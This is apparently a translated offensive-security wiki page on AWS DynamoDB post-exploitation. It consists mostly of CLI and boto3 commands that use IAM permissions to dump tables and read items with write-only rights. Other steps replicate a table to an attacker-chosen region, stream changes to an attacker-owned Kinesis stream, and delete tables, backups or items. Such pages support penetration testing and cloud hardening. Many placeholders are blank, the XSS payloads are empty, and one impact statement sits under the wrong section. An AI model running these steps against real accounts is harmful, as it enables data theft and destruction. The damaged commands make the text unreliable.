# AWS - DynamoDB Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB 詳細は次を参照してください: {{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` この権限を持つ攻撃者は、**プライマリキーでテーブルからアイテムを取得することができます**(テーブルの全データを一度に取得することはできません)。つまり、プライマリキーを把握している必要があります(テーブルのメタデータを取得して確認できます(`describe-table`))。 {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { "ProductCatalog" : { // This is the table name "Keys": [ { "Id" : { // Primary keys name "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those } } ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb batch-get-item \ --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性 ### `dynamodb:GetItem` **前の権限と同様に** この権限は、潜在的な攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを許可する: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { "N": "205" } } ``` この権限があれば、**`transact-get-items`** メソッドを次のように使用することも可能です: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json // With a.json [ { "Get": { "Key": { "Id": {"N": "205"} }, "TableName": "ProductCatalog" } } ] ``` **Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc ### `dynamodb:Query` **前の権限と同様に** この権限は、攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを可能にします。 It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json // With a.json { "Id" : { "ComparisonOperator":"EQ", "AttributeValueList": [ {"N": "205"} ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb query \ --table-name TargetTable \ --key-condition-expression "AttributeName = :value" \ --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potential Impact:** テーブル内の機密情報を特定することで間接的にprivescが可能になる ### `dynamodb:Scan` この権限を使用すると、**簡単にテーブル全体を dump できる**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` **Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc ### `dynamodb:PartiQLSelect` この権限を使用すると、**テーブル全体を簡単に dump できます**。 ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` この権限により、`batch-execute-statement` の実行も可能になります。例えば: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` ただし、主キーに値を指定する必要があるため、それほど有用ではありません。 **潜在的影響:** テーブル内の機密情報を特定することで、間接的な privesc を引き起こす可能性があります ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` この権限があれば、攻撃者は選択した S3 バケットにテーブル全体を**エクスポート**できます: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ --s3-bucket \ --s3-prefix \ --export-time \ --region ``` これが機能するには、テーブルで point-in-time-recovery を有効にしておく必要がある点に注意してください。テーブルに設定されているかは次のコマンドで確認できます: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` 有効になっていない場合は、**有効化する必要があります**。そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` **Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc が発生する可能性 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that could not be any more in the production table. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` **潜在的な影響:** テーブルのバックアップ内の機密情報を特定することによる間接的なprivesc ### `dynamodb:PutItem` この権限は、ユーザーがテーブルに**新しい項目を追加するか既存の項目を新しい項目で置き換える**ことを許可します。 同じプライマリキーを持つ項目がすでに存在する場合、**項目全体が新しい項目で置き換えられます**。 プライマリキーが存在しない場合、指定したプライマリキーを持つ新しい項目が**作成されます**。 {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { "Id": { "S": "1000" }, "Name": { "S": "Marc" }, "Description": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の Exploitation が可能になる ### `dynamodb:UpdateItem` この権限によりユーザーは **アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したり** できます。これはアイテム全体を **置き換える** ものではなく、指定した属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで **新しいアイテムを作成し**、更新式で指定した属性を設定します。 {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ --key file://key.json --update-expression "SET Description = :value" \ --expression-attribute-values file://val.json ### With key.json: { "Id": { "S": "1000" } } ### and val.json { ":value": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ --key '{"Id": {"S": "1"}}' \ --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **想定される影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスの悪用につながる可能性がある ### `dynamodb:DeleteTable` この権限を持つ攻撃者は **DynamoDB テーブルを削除してデータ損失を引き起こすことができる**。 ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` **潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失と中断。 ### `dynamodb:DeleteBackup` この権限を持つ攻撃者は、**DynamoDBのバックアップを削除し、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。 ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` **Potential impact**: データの損失および災害復旧シナリオでバックアップから復元できなくなる可能性。 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: 実際に動作するかテストする これらの権限を持つ攻撃者は、**DynamoDB テーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視・exfiltrate し、最終的に data leakage を引き起こす可能性があります。 1. DynamoDB テーブルでストリームを有効化する: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` 2. ストリームを説明して、ARN やその他の詳細を取得する: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` 3. stream ARN を使用して shard iterator を取得する: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` 4. shard iterator を使用してストリームからデータにアクセスし、exfiltrate する: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` **Potential impact**: DynamoDB テーブルの変更のリアルタイム監視とデータ漏洩。 ### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` でアイテムを読み取る テーブルに対して `dynamodb:UpdateItem` のみが許可されている攻撃者は、無害な更新を行い `--return-values ALL_OLD` を指定することで、通常の読み取り権限(`GetItem`/`Query`/`Scan`)なしにアイテムを読み取れます。DynamoDB は応答の `Attributes` フィールドに更新前のアイテムの完全なイメージを返します(これは RCU を消費しません)。 - 最小権限: `dynamodb:UpdateItem` on the target table/key. - 前提条件: アイテムのプライマリキーを知っていること。 例(無害な属性を追加し、応答内の更新前のアイテムを外部に持ち出す): ```bash aws dynamodb update-item \ --table-name \ --key '{"":{"S":""}}' \ --update-expression 'SET #m = :v' \ --expression-attribute-names '{"#m":"exfil_marker"}' \ --expression-attribute-values '{":v":{"S":"1"}}' \ --return-values ALL_OLD \ --region ``` CLI のレスポンスには、完全な以前のアイテム(すべての属性)を含む `Attributes` ブロックが含まれ、実質的に write-only アクセスから read primitive を提供します。 **潜在的影響:** primary keys が既知の場合、write permissions のみでテーブルの任意のアイテムを読み取り可能になり、機密データの exfiltration を可能にします。 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` 新しいレプリカ Region を DynamoDB Global Table (version 2019.11.21) に追加することで行う Stealth exfiltration。principal がリージョナルレプリカを追加できる場合、テーブル全体が攻撃者の選んだ Region にレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。 {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} ```bash # Add a new replica Region (from primary Region) aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": ""}}]' \ --region # Wait until the replica table becomes ACTIVE in the replica Region aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' # Exfiltrate by reading from the replica Region aws dynamodb scan --table-name --region ``` {{#endtab }} {{#tab name="PoC (customer-managed KMS)" }} ```bash # Specify the CMK to use in the replica Region aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ --region ``` {{#endtab }} {{#endtabs }} 権限: `dynamodb:UpdateTable`(`replica-updates`付き)またはターゲットテーブル上の `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS の権限が必要になることがある。 潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ流出につながる。 ### `dynamodb:TransactWriteItems`(失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を抽出できる。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスを対象キーの読み取りアクセスに事実上変換してしまう。 {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} ```bash # Create the transaction input (list form for --transact-items) cat > /tmp/tx_items.json << 'JSON' [ { "Update": { "TableName": "", "Key": {"": {"S": ""}}, "UpdateExpression": "SET #m = :v", "ExpressionAttributeNames": {"#m": "marker"}, "ExpressionAttributeValues": {":v": {"S": "x"}}, "ConditionExpression": "attribute_not_exists()", "ReturnValuesOnConditionCheckFailure": "ALL_OLD" } } ] JSON # Execute. Newer AWS CLI versions support returning cancellation reasons aws dynamodb transact-write-items \ --transact-items file:///tmp/tx_items.json \ --region \ --return-cancellation-reasons # The command fails with TransactionCanceledException; parse cancellationReasons[0].Item ``` {{#endtab }} {{#tab name="PoC (boto3)" }} ```python import boto3 c=boto3.client('dynamodb',region_name='') try: c.transact_write_items(TransactItems=[{ 'Update': { 'TableName':'', 'Key':{'':{'S':''}}, 'UpdateExpression':'SET #m = :v', 'ExpressionAttributeNames':{'#m':'marker'}, 'ExpressionAttributeValues':{':v':{'S':'x'}}, 'ConditionExpression':'attribute_not_exists()', 'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) except c.exceptions.TransactionCanceledException as e: print(e.response['CancellationReasons'][0]['Item']) ``` {{#endtab }} {{#endtabs }} 権限: `dynamodb:TransactWriteItems` on the target table (および基になるアイテム)。読み取り権限は不要です。 潜在的影響: トランザクション書き込み権限のみを使用し、返されるキャンセル理由を介してテーブルから(主キーによって)任意のアイテムを読み取ることができます。 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI 低エントロピー属性に対して Global Secondary Index (GSI) を `ProjectionType=ALL` で作成し、その属性をアイテム間で一定値に設定してからインデックスを `Query` することで、完全なアイテムを取得し、読み取り制限を回避できます。これは、ベーステーブルでの `Query`/`Scan` が拒否されている場合でも、インデックスの ARN に対してクエリできる限り機能します。 - 最小権限: - `dynamodb:UpdateTable` on the target table (GSI を `ProjectionType=ALL` で作成するため)。 - `dynamodb:UpdateItem` on the target table keys (各アイテムにインデックス化された属性を設定するため)。 - `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`)。 手順 (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 for i in 1 2 3 4 5; do \ aws dynamodb put-item --table-name HTXIdx \ --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ --region us-east-1; done # 2) Add GSI on attribute X with ProjectionType=ALL aws dynamodb update-table --table-name HTXIdx \ --attribute-definitions AttributeName=X,AttributeType=S \ --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ --region us-east-1 # Wait for index to become ACTIVE aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' # 3) Set X="dump" for each item (only UpdateItem on known keys) for i in 1 2 3 4 5; do \ aws dynamodb update-item --table-name HTXIdx \ --key "{\"id\":{\"S\":\"$i\"}}" \ --update-expression 'SET #x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1; done # 4) Query the index by the constant value to retrieve full items aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --key-condition-expression '#x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` **潜在的影響:** 新しく作成した GSI が全ての属性をプロジェクションする場合、base table の read APIs が拒否されていても、クエリによりテーブル全体を exfiltrate される可能性があります。 ### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。 有効化されると、各 INSERT/MODIFY/REMOVE イベントがほぼリアルタイムでストリームに転送され、テーブルの read 権限は不要です。 最小権限(攻撃者): - ターゲットテーブルに対する `dynamodb:EnableKinesisStreamingDestination` - オプションでステータス監視用の `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` - レコードを消費するために攻撃者所有の Kinesis ストリームに対する読み取り権限: `kinesis:*`
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}} # 2) Create attacker Kinesis Data Stream aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 # 3) Enable the DynamoDB -> Kinesis streaming destination STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) aws dynamodb enable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 # Optionally wait until ACTIVE aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus # 4) Generate changes on the table aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item2.json --region us-east-1 # /tmp/htx_item2.json # {"id":{"S":"a2"},"secret":{"S":"s-2"}} aws dynamodb update-item --table-name HTXKStream \ --key file:///tmp/htx_key_a1.json \ --update-expression "SET #i = :v" \ --expression-attribute-names {#i:info} \ --expression-attribute-values {:v:{S:updated}} \ --region us-east-1 # /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} # 5) Consume from Kinesis to observe DynamoDB images SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ --query Shards[0].ShardId --output text) IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json # Decode one record (Data is base64-encoded) jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . # 6) Cleanup (recommended) aws dynamodb disable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` ### `dynamodb:UpdateTimeToLive` dynamodb:UpdateTimeToLive の権限を持つ攻撃者は、テーブルの TTL(time-to-live)設定を変更し、TTL を有効化または無効化できます。TTL が有効な場合、設定された TTL 属性を含む個々のアイテムは、有効期限に達すると自動的に削除されます。TTL 値は各アイテム上の単なる属性にすぎません。その属性を持たないアイテムは TTL による削除の影響を受けません。 アイテムがまだ TTL 属性を含んでいない場合、攻撃者は TTL 属性を追加して大量削除を引き起こすために、アイテムを更新する権限(例えば dynamodb:UpdateItem)も必要になります。 まずテーブルで TTL を有効にし、有効期限に使用する属性名を指定します: ```bash aws dynamodb update-time-to-live \ --table-name \ --time-to-live-specification "Enabled=true, AttributeName=" ``` 次に、アイテムを更新して TTL 属性 (epoch seconds) を追加し、期限切れになって削除されるようにします: ```bash aws dynamodb update-item \ --table-name \ --key '' \ --update-expression "SET = :t" \ --expression-attribute-values '{":t":{"N":""}}' ``` ### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` dynamodb:RestoreTableFromAwsBackup または dynamodb:RestoreTableToPointInTime の権限を持つ攻撃者は、元のテーブルを上書きすることなく、バックアップや point-in-time recovery (PITR) から復元した新しいテーブルを作成できます。復元されたテーブルには選択した時点のデータの完全なイメージが含まれるため、攻撃者はそれを使って過去の情報を exfiltrate したり、データベースの過去の状態の完全な dump を取得したりできます。 オンデマンドバックアップからDynamoDBテーブルを復元する: ```bash aws dynamodb restore-table-from-backup \ --target-table-name \ --backup-arn ``` DynamoDB テーブルをポイントインタイムで復元する(復元された状態で新しいテーブルを作成する): ```bash aws dynamodb restore-table-to-point-in-time \ --source-table-name \ --target-table-name \ --use-latest-restorable-time ````
**Potential Impact:** テーブルの変更が攻撃者が制御する Kinesis ストリームへ、テーブルへの直接の読み取り操作を行うことなく、継続的かつほぼリアルタイムで exfiltration される。 {{#include ../../../../banners/hacktricks-training.md}}